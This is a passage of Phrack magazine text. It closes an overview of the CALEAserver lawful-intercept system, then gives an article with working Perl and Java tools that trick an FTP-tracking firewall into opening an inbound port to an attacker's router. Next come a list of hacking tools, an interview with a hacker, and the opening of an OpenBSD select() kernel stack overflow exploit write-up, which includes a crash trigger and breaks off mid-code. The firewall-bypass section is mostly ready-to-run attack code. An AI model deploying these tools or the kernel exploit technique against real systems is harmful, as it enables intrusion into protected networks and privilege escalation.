Now that I've introduced you to LAES lets look at an implementation of
it that is on the market right now and is being used by some TSPs:
Overview of the CALEAserver:
The CALEAserver is manufactured by SS8 Networks. It is a collection and
delivery system for call information and content. It allows existing
networks to become completely CALEA compliant. It allows for a LEA to
monitor wireless and wire line communications and gather information about
the calls remotely. The CALEAserver interfaces with the network through
Signaling System 7 (SS7) which is an extension of the Public Switched
Telephone Network (PSTN). The CALEAserver is composed of three major
layers: the Hardware Platform Layer, the Network Platform Layer and the
Application Software Layer.
The Hardware Platform Layer consists of the Switching Matrix and the
Computing Platform. The Switching Matrix is an industry standard
programmable switch. It contains T1 cards for voice transmission and cross
connect between switches, DSP cards for the conference circuits required
for the intercept and DTMF reception/generation, and CPU cards for
management of the switch. The Computing Platform is a simplex, rack
mounted, UNIX based machine. It is used to run the CALEAserver application
software that provides Delivery Function capabilities and controls the
Switching Matrix.
The Network Platform Layer provides SS7 capability, as well as, call
processing APIs for the Application Software Layer. It also controls the
Switching Matrix.
The Application Software Layer is where the Delivery and Service Provider
Administration functions are carried out. It isolates the interfaces
towards the Access and Collection Functions from the main delivery
functionality allowing for multiple Access and Collection Functions through
the Interface Modules that can be added or modified without impacting the
existing functionality.
System Capacity:
Configurable for up to:
1000 Collection functions
128 Access Function Interfaces
32 SS7 links
512 simultaneous call content intercepts on a single call basis
64 T1 voice facilities
Operating Environment:
NEBS compliant, -48 volt, 19" rack mounted equipment
Next-generation UltraSPARC processor
66-MHz PCIbus
Solaris UNIX operating system
9Gbyte, 40-MB/sec SCSI disks
512 Mbytes RAM standard
Ethernet/Fast Ethernet, 10-BaseT and 100-BaseT
Two RS-232C/RS-423 serial ports
Programmable, scalable switch with up to 4000 port time slot interchange
Features:
Built in test tools for remote testing
Full SS7 management system
Alarm reporting and Error logging
Automatic software fault recovery
Automatic or manual disk backup
SNMP support
Optional support for X.25 and other collection function interfaces
ITU standard MML and Java based GUI support
Support of both circuit-switched and packet-switched networks
Optional support for other access function interfaces as required for
CALEA compliance, including:
*HLR (Home Location Register)
*VMS (Voice Mail System)
*SMS (Short Message System)
*CDPD wireless data
*Authentication Center
*Remote access provisioning
This concludes the introduction to LAES. This being only an introduction,
I've left out allot of details like protocol information. However, if you
are interested it learning more about LAES I would suggest reading the TIA
standard J-STD-025A. I hope you learned a little bit more about the
surveillance capabilities of LEAs. If you have any questions feel free to
contact me. Email address: see above.
--[ 5 - Java tears down the Firewall
Recently there has been much hype about various
insecurities in firewalls which support tracking of FTP sessions.
They could be tricked into thinking someone was opening an
FTP session by using a second TCP stack for example. I would
point you to CERT-URL for complete discussion.
There have been other techniques discussed such as embedding
some evil tags in HTML files which makes the browser opening
connections a firewall could interpret as FTP session.
Consider the following net:
[ Company ] ---- [ firewall ] --- [ some router ] --- [ WEB ]
Someone from 'Company' is browsing the web and has to
pass his packets across some router that is not under control
by Company but by attacker. Very common scenario no?
A few tools have been compiled to circumvent such setup.
I would even say, as soon as you enable FTP tracking you are lost.
More than one way ends in Rome.
Let me explain the small tools in short.
html-redirect: Attacker installs this on some router and
sets up redirect rule to port 8888.
class-inject: Attacker starts this with eftepe.class. html-redirect
will redirect the HTML requests to this mini-httpd. It forces
browser inside Company which is shielded by firewall to load
the Java applet. This applet simulates active FTP session to
some router and it is allowed so because security manager sees
some router as origin of eftepe.class. Firewall will then open
port 7350 inbound so you can connect from some router:20 to Company:7350.
ftpd: Attacker must run this on some router in order to simulate FTP
session.
createclass: script to create the correct java code which is
using apropriate IP (of some router) and port (on Company) then
Attacker could also sit on WEB (i.e. phrack.org :) and embed evil
java applets. So take care because X runs on port 6000. :-)
It is really that simple, and its not even worth an own article,
thats why you find it here as a add-on.
<classinject>
#!/usr/bin/perl -w
# Puts a classfile into remote browser
#
use IO::Socket;
sub usage
{
print "Usage: $0 <class file>\n\n";
exit;
}
my $classfile = shift || usage();
my $class;
my $classlen = (stat($classfile))[7];
open I, "<$classfile" or die $!;
read I, $class, $classlen;
close I;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8080,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
if ($request =~ /$classfile/) {
my $classcontent = "HTTP/1.0 200 OK\r\n".
"Server: Apache/1.3.6 (Unix)\r\n".
"Content-Length: $classlen\r\n".
"Content-Type: application/octet-stream\r\n\r\n".$class;
print $conn $classcontent;
print "Injected to ", $conn->peerhost(), "\n";
} else {
print $conn "<HTML>".
"<APPLET CODE=\"$classfile\" WIDTH=1 HEIGHT=1>".
"</APPLET></HTML>\r\n\r\n";
}
$conn->close();
exit(0);
}
</classinject>
<createclass>
#!/usr/bin/perl -w
$ENV{"PATH"} = $ENV{"PATH"}."/usr/lib/java/bin";
print "Creating apropriate Java class-file for opeing port > 1023\n";
print "Enter IP to connect to on port 21 (e.g. '127.0.0.1'):";
my $ip = <STDIN>; chop($ip);
print "Enter port to open:";
my $port = <STDIN>; chop($port);
my $p1 = int $port/256;
my $p2 = $port%256;
open O, ">eftepe.java" or die $!;
print O<<EOF;
import java.io.*;
import java.applet.*;
import java.util.*;
import java.net.*;
public class eftepe extends Applet {
public void init()
{
try {
Socket s = new Socket("$ip", 21);
OutputStream os = s.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));
PrintWriter pw = new PrintWriter(os, true);
in.readLine();
pw.println("USER ftp\\r\\n");
in.readLine();
pw.println("PASS ftp\\r\\n");
in.readLine();
String port = new String("PORT ");
String me = InetAddress.getLocalHost().getHostAddress();
port += me.replace('.', ',');
port += ",$p1,$p2\\r\\n";
pw.println(port);
for(;;);
} catch (Exception e) {
e.printStackTrace();
}
}
}
EOF
print "Compiling into classfile...\n";
system("javac eftepe.java");
print "Done. Results are in eftepe.class\n";
</createclass>
<ftpd>
#!/usr/bin/perl -w
use IO::Socket;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 21,
Reuse => 1) or die $!;
my $conn;
for (;;) {
$conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
print $conn "220 ready\r\n";
<$conn>; # user
print $conn "331 Password please\r\n";
<$conn>; # pass
print $conn "230 Login successful\r\n";
<$conn>; #port
print $conn "200 PORT command successful.\r\n";
sleep(36);
$conn->close();
exit 0;
}
</ftpd>
<html-redirect>
#!/usr/bin/perl -w
# Simple HTTP Redirector
#
# iptables -A PREROUTING -t nat -p tcp --dport 80 -j REDIRECT --to-port 8888
use IO::Socket;
sub usage
{
print "Usage: $0 <IP|Host>\n".
"\t\tIP|Host -- IP or Host to redirect HTML reuests to\n\n";
exit;
}
my $r = shift || usage();
my $redir = "HTTP/1.0 301 Moved Permanently\r\n".
"Location: http://$r:8080\r\n\r\n";
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8888,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
print $conn "$redir";
$conn->close();
exit(0);
}
</html-redirect>
<testconnect>
#!/usr/bin/perl -w
use IO::Socket;
sub usage
{
print "Usage: $0 <Host> <Port>\r\n";
exit 0;
}
my $a = shift || usage();
my $b = shift || usage();
my $conn = IO::Socket::INET->new(PeerAddr => $a,
PeerPort => $b,
LocalPort => 20,
Type => SOCK_STREAM,
Proto => 'tcp') or die $!;
print $conn "GOTCHA\r\n";
$conn->close();
</testconnect>
<conntrack-start>
#!/bin/sh
# sample FTP session tracked firewall for 2.4 linux kernels
# modprobe ip_conntrack_ftp
iptables -F
iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp --syn -j LOG
iptables -A INPUT -p tcp --syn -j DROP
</conntrack-start>
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x04 of 0x10
|=--------------------=[ T O O L Z A R M O R Y ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ packetstorm <http://www.packetstormsecurity.org> ]=-------=|
This new section, Phrack Toolz Armory, is dedicated to tool annoucements.
We will showcast selected tools of relevance to the computer underground
which have been released recently. The tools for #60 have been selected
in teamwork by the Packet Storm staff and Phrack staff.
Drop us a mail if you develop something that you think is worth of being
mentioned here.
1 - nmap 3.1 Statistics Patch
2 - thc-rut
3 - Openwall GNU/*/Linux (Owl) 1.0
4 - Stealth Kernel Patch
5 - Memfetch
6 - Lcrzoex
----[ 1 - NMAP 3.1 Statistics Patch
URL : http://packetstormsecurity.org/UNIX/nmap/nmap-3.10ALPHA4_statistics-1.diff
Author : vitek[at]ixsecurity.com
Comment : The Nmap 3.10ALFA Statistics Patch adds the -c switch which
guesses how much longer the scan will take, shows how many ports
have been tested, resent, and the ports per second rate. Useful
for scanning firewalled hosts.
----[ 2 - thc-rut
URL : http://www.thehackerschoice.com/thc-rut
Author : anonymous[at]segfault.net
Comment : RUT (aRe yoU There, pronouced as 'root') is your first knife on
foreign network. It gathers informations from local and remote
networks.
It offers a wide range of network discovery utilities
like arp lookup on an IP range, spoofed DHCP request, RARP,
BOOTP, ICMP-ping, ICMP address mask request, OS fingerprinting,
high-speed host discovery, ...
THC-RUT comes with a OS host Fingerprinter which determines the
remote OS by open/closed port characteristics, banner matching
and nmap fingerprinting techniques (T1, tcpoptions).
The fingerprinter has been developerd to quickly (10mins)
categorize hosts on a Class B network. Information sources are
(amoung others) SNMP replies, telnetd (NVT) negotiation options,
generic Banner Matching, HTTP-Server version, DCE request and
tcp options. It is compatible to the nmap-os-fingerprints
database and comes in addition to this with his own perl regex
capable fingerprinting database (thcrut-os-fingerprints).
----[ 3 - Openwall GNU/*/Linux (Owl) 1.0 (Released 2002-10-13)
URL : http://www.openwall.com/Owl
Author : Solar Designer and other hackers.
Comment : Openwall Linux is the Hacker's choice platform. The security
has been defined by people who know what they are doing. Owl
comes without any useless services running by default, no RPM
dependencies headache, full featured environment for
developers, a large number of usefull tools and a BSD-port-like
update mechanism. It's for people who prefer vi over
click/drag-and-drop sickness to configure the system.
Openwall GNU/*/Linux (Owl) includes a pre-built copy of John
the Ripper password cracker ready for use without requiring
another OS (life system!) and without having to install on a
hard disk (although that is supported). The CD-booted system
is fully functional, you may even let it go multi-user with
virtual consoles and remote shell access.
John the Ripper is a fast password cracker, currently
available for many flavors of Unix (11 are officially
supported, not counting different architectures), DOS, Win32,
and BeOS. Its primary purpose is to detect weak Unix
passwords, but a number of other hash types are supported
aswell.
This is probably the most secure linux distribution out there.
----[ 4 - Stealth Kernel Patch
URL : http://packetstormsecurity.org/UNIX/patches/linux-2.2.22-stealth.diff.gz
Author : Sean Trifero <sean[at]innu.org>
Comment : The Stealth Kernel Patch for Linux v2.2.22 makes the linux kernel
discard the packets that many OS detection tools use to query the
TCP/IP stack. Includes logging of the dropped query packets and
packets with bogus flags. Does a very good job of confusing nmap
and queso.
----[ 5 - Memfetch
URL : http://packetstormsecurity.org/linux/security/memfetch.tgz
Author : Michal Zalewski <lcamtuf[at]ghettot.net>
Comment : Memfetch dumps the memory of a program without disrupting its
operation, either immediately or on the nearest fault condition
(such as SIGSEGV). It can be used to examine suspicious or
misbehaving processes on your system, verify that processes are
what they claim to be, and examine faulty applications using your
favorite data viewer so that you are not tied to the inferior
data inspection capabilities in your debugger.
----[ 6 - Lcrzoex
URL : http://www.laurentconstantin.com/en/lcrzoex/
http://www.laurentconstantin.com/en/rzobox/ (front end)
Author : Laurent Constantin <laurent.constantin@aql.fr>
Comment : Lcrzoex contains over 400 tools to test an Ethernet/IP
network. It runs under Linux, Windows, FreeBSD, OpenBSD and
Solaris. Features:
- sniff/spoof/replay
- syslog/ftp/dns/http/telnet clients
- ping/traceroute
- web spider
- tcp/web backdoor
- data conversion
|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat .bash_history
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x05 of 0x10
|=--------------=[ P R O P H I L E O N H O R I Z O N ]=--------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: horizon
AKA: humble, john
Handle origin: It sounded neat.
catch him: I'm very easy to find.
Age of your body: mid 20s
Produced in: USA
Height & Weight: 5'11" ~165 lbs.
Urlz: Nope
Computers: A couple of decent x86 boxes and a lot of
older stuff..
Member of: CostCo
Projects: Currently, stuff for work, and a few personal
things that really aren't that interesting.
|=---=[ Favorite things
Women: Creativity, intelligence, a sense of style.
Cars: German
Foods: Indian, Thai, Korean, Greek, Japanese, Lean Pockets
Alcohol: Helles, Redbull & Vodka
Music: Screeching Weasel, Fugazi, Stretch Armstrong,
Bad Religion, some electronic
Movies: Big Lebowski, Office Space, Austin Powers, Memento, Pi
Books & Authors: Sigh.. I wish I read more these days.
Urls: Can't think of any...
I like: Engaging conversation. Sincerity and conviction.
Solving difficult problems. Mr. Show. Gummi Bears.
I dislike: Unwarranted arrogance. Unwarranted Gummi Bears.
|=---=[ Life in 3 sentences
I've never been normal. I've always felt a sense of purpose. I've tried
to be generous.
|=---=[ Hacker Life
PHRACKSTAFF: You have found quite a lot of bugs in the past and developed
exploit code for them. Some vulnerabilities required new
creative exploitation concepts which were not known at that
time. What drives you into Challenging the exploitation of
complicated bugs and what methods do you use?
Well, my motivations have definitely changed over time. I can come
up with several ancillary reasons that have driven me at different times
during my life, and they include both the selfish and the altruistic. But,
I think it really comes down to a compulsion to figure all this stuff
out.
As far as methods, I try to be somewhat systematic in my approach. I
budget a good portion of time for just reading through the program,
trying to get a feel for its architecture and the mindset and techniques
of its authors. This also seems to help prime my subconscious.
I like to start at the lower layers of a program or system and look for
any kind of potential unexpected behavior that could percolate upwards. I
will document each function and brainstorm any potential problems I see
with it. I will occasionally take a break from documentation, and do the
considerably more fun work of tracing back some of my theories to see if
they pan out.
As far as writing exploits, I generally just try to reduce or eliminate
the number of things that need to be guessed.
|=---=[ Passions | What makes you tick
I'm definitely obsessed with computers. One of my original goals in
learning to program as a kid was to develop games, so I've always been
kind of passively interested in that. I'm also interested in artificial
intelligence.
I've been doing Wing Chun kung fu for about two years now, and I find
that to be really rewarding.
I spend a decent bit of my time thinking. I like to read lay-person
oriented overviews of various academic disciplines. I'd really like to
learn more about biology and neuroscience.
|=---=[ Which research have you done or which one gave you the most fun?
I think I've had the most fun when collaborating with others.
|=---=[ Memorable Experiences
Hanging out with sygma, saad, wordsmith, shegget, and all my old irc
friends. Getting into trouble with colonwq. Long, not entirely coherent,
chats with rc.local. :>
The weekend drinking/hacking/coding sessions at neon's place.
boilermakers. Romania. Coding with xaphan. Almost getting fired from my
university job for hacking Microsoft, and then getting let off the hook
when one of their security officers called my boss. Helping joey__ write
his first exploit, and then not understanding how it worked when he had
finished. Working on various stuff with JoC, cham, module, so1o, zorkeres,
binf, and the rest of the r9 guys.
Hanging out with Vacuum and RFP before leaving the US.
The time I spent living in Germany. Working with plaguez and Thomas, two
absurdly brilliant guys. Living with Howard and Sondee.. eating at the
Citta. CCC Camp - Meeting TESO, THC, and many others. linux deathmatch.
Watching people like duke and scut (and many others) get really good, and
hoping that I somehow helped.
Accidentally crashing gatekeeper.
Hanging out in the adm channel. The always interesting discussions with
str and anti. Racing with K2 to write exploits as Sun advisories came
out.
The Firewall-1 speech with Dug and Thomas.
Finally getting my degree.
My european tour with dice. HAL. Meeting silvio. Getting smashed in the
basement of a bar in Poland with the LSD guys. Chilling with Scrippie and
Dvorvak and the members of a Dutch death metal band.
Going to a rave in Miami with JJ and ending up in the keys the day before
a hurricane.
Watching my little brothers grow up.
Tag team coding/auditing with dice.
Working for cool people - Mike, Jim, Pat.
German/reversing lessons from Halvar.
sms's from srpnsrt.
Defcon - meeting digit, cheez, charise, zip, gobbles, i1l, cain, arakis,
caddis, ryan, riley, and so many others.
The fun times I've had in Chicago. Greg's couch. OFP with Paul and
Sergey. The bachelor party with monti and MJ. Meeting the esteemed Sarlo.
|=---=[ What's your architecture of choice? OS of choice?
I tend to use what I'm comfortable with or whatever seems appropriate at
the moment. The three machines that I use most of the time are currently
running XP, Linux, and OpenBSD.
|=---=[ Quotes
"Jesus Christ John McDonald!"
"odd"
"So, basically, what you are saying is that we should try to find the
reactors."
"Hey, I just work here..."
|=---=[ Open Interview
Q: When did you start playing with computers?
I got a c64 when I was 6.
Q: When did you had your first contact to the 'scene'?
1997 or so.
Q: When did you for your first time connect to the Internet?
1993. I had a part time job in high school programming for a satellite
research center that had Internet access. From what I recall, I mainly
played around on usenet and ftp sites.
Q: Let's talk a little bit about free research and Copyright. What's your
opinion about "Copyright on exploits"?
Well, I'm not a lawyer, and I haven't really looked into it. I think that
people should be entitled to do what they want with their work, and that
legal protections are there for a reason. However, I've got no idea what
copyrighting an exploit will actually afford you legally.
Q: If you could turn the clock backward, what would you do different
in your young life ?
That's a tough one. The Internet has suffered a fair bit for the sake of
my ego. I think I would have handled certain things with more discretion
if I'd had a little more perspective.
|=---=[ One word comments
Give a one word comment to the following topics:
Digital Millennium Copyright Act (DMCA): oceanliner
KIMBLE (the wannabe-hacker) : hoogedlyboogedly
ADM : fun
NAI : work
THE SCENE : which?
Companies buying exploits from hackers : dunno
IRC : idle
CERT : maligned
Full Disclosure Policy : careful
|=---=[ Would you work for the government/military? Why or why not?
As much as it suprises me to say it, I don't really have an ideological
opposition to working for my government. I think the combination of
getting a little bit older, spending some time living abroad, and the
recent events in my country has made me more appreciative of certain
things. I think it is safe to say I would do it if I believed I was doing
something positive and I thought it was necessary. Otherwise, I'd avoid
it because it would just make life more complicated.
|=---=[ Please tell our audience a worst case scenario into what the scene
might turn into.
I guess I could prognosticate about it becoming factionalized, petty,
cruel, insecure, and paranoid, but who would I be kidding?
|=---=[ And if everything works out fine? What's the best case scenario
you can imagine?
As long as there is a place for new people who show promise, I think things
will be cool.
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
Think for yourself.
|=---=[ Shoutouts & Greetings
Hi everyone :>
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x06 of 0x10
|=----------=[ Smashing The Kernel Stack For Fun And Profit ]=----------=|
|=----------------------------------------------------------------------=|
|=--------------=[ Sinan "noir" Eren <noir@olympos.org> ]=--------------=|
DISCLAIMER:
This article presented here is bound to no organization or company. It is
the author's contrubition to the hacker community at large. The research
and development in this article is done by the author with NO SUPPORT from
a commercial organization or company. No organization or company should be
held responsible or credited for this article other than the author
himself.
--[ Contents
1 - Introduction
2 - The vulnerability: OpenBSD select() syscall overflow
3 - Obstacles encountered in exploitation
3.1 - Overcoming the large copyin() problem
3.1.1 - mprotect() 4 life!
3.2 - Payload storage problem
3.3 - Return to user land problem
4 - Crafting the exploit
4.1 - Breakpoints & distance Calculation
4.2 - Return address overwrite & execution redirection
5 - How to gather offsets & symbol addresses
5.1 - sysctl() syscall
5.2 - sidt technique & _kernel_text search
5.3 - _db_lookup() technique
5.4 - /usr/bin/nm, kvm_open(), nlist()
5.5 - %ebp fixup
6 - Payload/shellcode creation
6.1 - What to achieve
6.2 - The payload
6.2.1 - p_cred & u_cred
6.2.2 - chroot breaking
6.2.3 - securelevel
6.3 - Get root & escape jail
7 - Conclusions
8 - Greetings
9 - References
10 - Code
--[ 1 - Introduction
This article is about recent exposures of many kernel level vulnerabilities
and advances in their exploitation which leads to trusted (oops safe) and
robust exploits.
We will focus on 2 recent vulnerabilities in the OpenBSD kernel as our case
studies. Out of the these we will mainly concentrate on exploitation of the
select() system call buffer overflow. The setitimer() arbitrary memory
overwrite vulnerability will be explained in the code section of this
article (as inline comments, so as not to repeat what we have already
covered whilst exploring the select() buffer overflow).
This paper should not be viewed as an exploit construction tutorial, my
goal is, rather, to explore and demonstrate generic ways to exploit stack
overflows and signed/unsigned vulnerabilities in kernel space.
Case studies will be used to demonstrate these techniques, and reusable
- BSD "kernel level shellcodes" -- with many cool features! -- will be
presented.
There has been related work done by [ESA] and [LSD-PL], which may
complement this article.
--[ 2 - The Vulnerability: OpenBSD select() syscall overflow
sys_select(p, v, retval)
register struct proc *p;
void *v;
register_t *retval;
{
register struct sys_select_args /* {
syscallarg(int) nd;
syscallarg(fd_set *) in;
syscallarg(fd_set *) ou;
syscallarg(fd_set *) ex;
syscallarg(struct timeval *) tv;
} */ *uap = v;
fd_set bits[6], *pibits[3], *pobits[3];
struct timeval atv;
int s, ncoll, error = 0, timo;
u_int ni;
[1] if (SCARG(uap, nd) > p->p_fd->fd_nfiles) {
/* forgiving; slightly wrong */
SCARG(uap, nd) = p->p_fd->fd_nfiles;
}
[2] ni = howmany(SCARG(uap, nd), NFDBITS) * sizeof(fd_mask);
[3] if (SCARG(uap, nd) > FD_SETSIZE) {
...
}
...
#define getbits(name, x) \
[4] if (SCARG(uap, name) && (error = copyin((caddr_t)SCARG(uap, name), \
(caddr_t)pibits[x], ni))) \
goto done;
[5] getbits(in, 0);
getbits(ou, 1);
getbits(ex, 2);
#undef getbits
...
To make some sense out of the code above we need to decipher the SCARG
macro, which is extensively used in the OpenBSD kernel syscall handling
routines.
Basically, SCARG() is a macro that retrieves the members of the 'struct
sys_XXX_args' structures.
sys/systm.h:114
...
#if BYTE_ORDER == BIG_ENDIAN
#define SCARG(p, k) ((p)->k.be.datum) /* get arg from args
pointer */
#elif BYTE_ORDER == LITTLE_ENDIAN
#define SCARG(p, k) ((p)->k.le.datum) /* get arg from args
pointer */
sys/syscallarg.h:14
...
#define syscallarg(x) \
union { \
register_t pad; \
struct { x datum; } le; \
struct { \
int8_t pad[ (sizeof (register_t) < sizeof (x)) \
? 0 \
: sizeof (register_t) - sizeof (x)]; \
x datum; \
} be; \
}
Access to structure members is performed via SCARG() in order to preserve
alignment along CPU register size boundaries, so that memory accesses will
be faster and more efficient.
In order to make use of the SCARG() macro, the declarations need to be done
as follows (example for select() syscall arguments):
sys/syscallarg.h:404
...
struct sys_select_args {
[6] syscallarg(int) nd;
syscallarg(fd_set *) in;
syscallarg(fd_set *) ou;
syscallarg(fd_set *) ex;
syscallarg(struct timeval *) tv;
};
The vulnerability can be described as an insufficient check on the 'nd'
argument [6], which is used as the length parameter for userland to kernel
land copy operations.
Whilst there is a check [1] on the 'nd' argument (nd represents the highest
numbered descriptor plus one, in any of the fd_sets), which is checked
against the p->p_fd->fd_nfiles (the number of open descriptors that the
process is holding), this check is inadequate -- 'nd' is declared as signed
[6], so it can be negative, and therefore will pass the greater-than check
[1].
Then 'nd' is put through a macro [2], in order to calculate an unsigned
integer, 'ni', which will eventually be used as the the length argument for
the copyin operation.
howmany() [2] is defined as follows (sys/param.h line 175):
#define howmany(x, y) (((x)+((y)-1))/(y))
Expansion of line [2] will look like as follows:
sys/types.h:157, 169
#define NBBY 8 /* number of bits in a byte */
typedef int32_t fd_mask;
#define NFDBITS (sizeof(fd_mask) * NBBY) /* bits per mask */
...
ni = ((nd + (NFDBITS-1)) / NFDBITS) * sizeof(fd_mask);
ni = ((nd + (32 - 1)) / 32) * 4
Calculation of 'ni' is followed by another check on the 'nd' argument [3].
This check is also passed, since OpenBSD developers consistently forget
about the signedness checks on the 'nd' argument. Check [3] was done to see
if the space allocated on the stack is sufficient for the following copyin
operations, and, if not, then sufficient heap space will be allocated.
Given the inadequacy of the signed check, we'll pass check [3] (>
FD_SETSIZE), and will continue using stack space. This will make our life
much easier, given that stack overflows are much more trivially exploited
than heap overflows. (Hopefully, I'll write a follow-up paper that will
demonstrate kernel-land heap overflows in the future).
Finally, the getbits() [4,5] macro is defined and called in order to
retrieve user supplied fd_sets (readfds, writefds, exceptfds -- these
arrays contain the descriptors to be tested for 'ready for reading', ready
for writing' or 'have an exceptional condition pending').
For exploitation purposes we don't really care about the layout of the
fd_sets -- they can be treated as any simple char buffer aiming to overflow
its boundaries and overwrite the saved ebp and saved eip.
With this simple test code, we can reproduce the overflow:
#include <stdio.h>
#include <sys/types.h>
int
main(void)
{
char *buf;
buf = (char *) malloc(1024);
memset(buf, 0x41, 1024);
select(0x80000000, (fd_set *) buf, NULL, NULL, NULL);
}
What happens is; system call number 93 (SYS_select) is dispatched to
handler sys_select() by the syscall() function, with all user land supplied
arguments bundled into a sys_select_args structure.
'nd', being 0x80000000 (the smallest negative number for signed 32bit) has
gone through the size check [1] and, later, the howmany() macro [2]
calculates unsigned integer 'ni' as 0x10000000. The getbits() macro [5] is
then called with the address of buf (user land, heap) which expands to the
copyin(buf, kernel_stack, 0x10000000) operation.
copyin() starts to copy the userland buffer to the kernel stack, a long at
a time (0x10000000/4 times). However, this copy operation won't ever fully
succeed, as the kernel will run out of per-process stack trying to copy
such a huge buffer from userland -- and will crash on an out of bounds
write operation.
--[ 3 - Obstacles encountered in exploitation
- copyin(uaddr, kaddr, big_number) problem
First and the most obvious problem is to take control of the size argument
'ni' passed to the copyin operation, since this number is derived from the
user supplied 'nd' argument which, must be negative, we'll never be able to
construct a reasonably "big" number. Actually the "smallest" positive
number we can construct is 0x10000000. As we have already find out that,
this number will cause us to hit the end of kernel stack and kernel will
panic. This is our first obstacle and we'll overcome it by exploring how
copyin() works in the following section.
- payload storage problem
This is a typical problem for every type of exploit (user or kernel land).
Determining where the most appropriate place is to store the
payload/shellcode. This problem is rather simple to overcome in kernel
land exploits and we'll talk about the proper solution.
- clean return to user land problem
Another problem arises after we overwrite the saved return address and gain
control, at that point we can be real imaginative on the payload, but we'll
run into the trouble of how to return back to user land and be able to
enjoy our newly altered kernel space!
--[ 3.1 - Overcoming The Large copyin() Problem
To be able to solve this problem, we need to read through the copyin() and
trap() functions and understand their internals.
We shall start by understanding copyin() user to kernel copy primitive, my
comments will be inlined:
sys/arch/i386/i386/locore.s:955
ENTRY(copyin)
pushl %esi
pushl %edi
Save %esi, %edi .
movl _C_LABEL(curpcb),%eax
Move the current process control block address (_curpcb) into %eax .
_C_LABEL() is a simple macro that will add an underscore sign to the
beginning of the symbol name. See sys/arch/i386/include/asm.h:66
The process control block is a per-process kernel structure that holds the
current execution state of a process and differs based on machine
architecture. It consists of: stack pointer, program counter, general-
purpose registers, memory management registers and some other architecture
depended members such as per process LDT's (i386) and so on. The *BSD
kernel extends the PCB with software related entries, such as the
"copyin/out fault recovery" handler (pcb_onfault). Each process control
block is stored and referenced through the user structure. See
sys/user.h:61 and [4.4 BSD].
[1] pushl $0
Push a ZERO on the stack; this will make sense at the epilog or the
_copy_fault function, which has the matching 'popl' instruction.
[2] movl $_C_LABEL(copy_fault),PCB_ONFAULT(%eax)
Move _copy_fault's entry address into the process control block's
pcb_onfault member. This simply installs a special fault handler for
'protection', 'segment not present' and 'alignment' faults. copyin()
installs its own fault handler, _copy_fault, we'll get back to this when
exploring the trap() code, since processor faults are handled there.
movl 16(%esp),%esi
movl 20(%esp),%edi
movl 24(%esp),%eax
Move the incoming first, second and third arguments to %esi, %edi, %eax
respectively. %esi being the user land buffer, %edi the destination kernel
buffer and %eax the size.
/*
* We check that the end of the destination buffer is not past the end
* of the user's address space. If it's not, then we only need to
* check that each page is readable, and the CPU will do that for us.
*/
movl %esi,%edx
addl %eax,%edx
This addition operation is to verify if the user land address plus the size
(%eax) is in legal user land address space. The user land address is moved
to %edx and then added to the size (ubuf + size), which will point to the
supposed end of the user land buffer.
jc _C_LABEL(copy_fault)
This is a smart check to see if previous addition operation has an integer
over-wrap issue. e.g: the user land address being 0x0ded and size being
0xffffffff -- this unsigned arithmetic operation will overlap and the
result is going to be 0x0dec. By design, the CPU will set the carry flag on
such condition and 'jc' jump short on carry flag set instruction will take
us to _copy_fault function which do some clean up and return EFAULT .
cmpl $VM_MAXUSER_ADDRESS,%edx
ja _C_LABEL(copy_fault)
Followed by the range check: whether or not the user land address plus size
is in valid user land address space range. A comparison is done against the
VM_MAXUSER_ADDRESS constant, which is the end of the user land stack
(0xdfbfe000 through obsd 2.6-3.1). If the sum (%edx) is above
VM_MAXUSER_ADDRESS 'ja' (jump above) instruction will make a short jump to
_copy_fault , eventually leading to the termination of the copy operation.
3: /* bcopy(%esi, %edi, %eax); */
cld
Clear the direction flag, DF = 0, means that the copy operation is going to
increment the index registers '%esi and %edi' .
movl %eax,%ecx
shrl $2,%ecx
rep
movsl
Do the copy operation long at a time, from %esi to %edi .
movb %al,%cl
andb $3,%cl
rep
movsb
Copy the remaining (size % 4) data, byte at a time.
movl _C_LABEL(curpcb),%edx
popl PCB_ONFAULT(%edx)
Move the current process control block address into %edx, and then pop the
first value on the stack into the pcb_onfault member (ZERO [1] pushed
earlier). This means, the special fault handler is cleared from the
process.
popl %edi
popl %esi
Restore the old values of %edi, %esi .
xorl %eax,%eax
ret
Do a return with a return value of zero: Success .
ENTRY(copy_fault)
In the case of faults and failures in checks at copyin() this is where we
drop.
movl _C_LABEL(curpcb),%edx
popl PCB_ONFAULT(%edx)
Move the current process control block address into %edx and then pop the
first value on the stack into the pcb_onfault member (ZERO [1] pushed
earlier). This clears the special fault handler from the process.
popl %edi
popl %esi
Restore the old values of %edi, %esi .
movl $EFAULT,%eax
ret
Do a return with a return value of EFAULT (14): Failure .
After this long exploration of the copyin() function we'll just take a
brief look at trap() and check how pcb_onfault is implemented. trap() is
the main interface to exception, fault and trap handling of the BSD kernel.
trap.h:51:#define T_PROTFLT 4 /* protection fault */
trap.h:63:#define T_SEGNPFLT 16 /* segment not present fault
trap.h:54:#define T_ALIGNFLT 7 /* alignment fault */
sys/arch/i386/i386/trap.c:174
void
trap(frame)
struct trapframe frame;
{
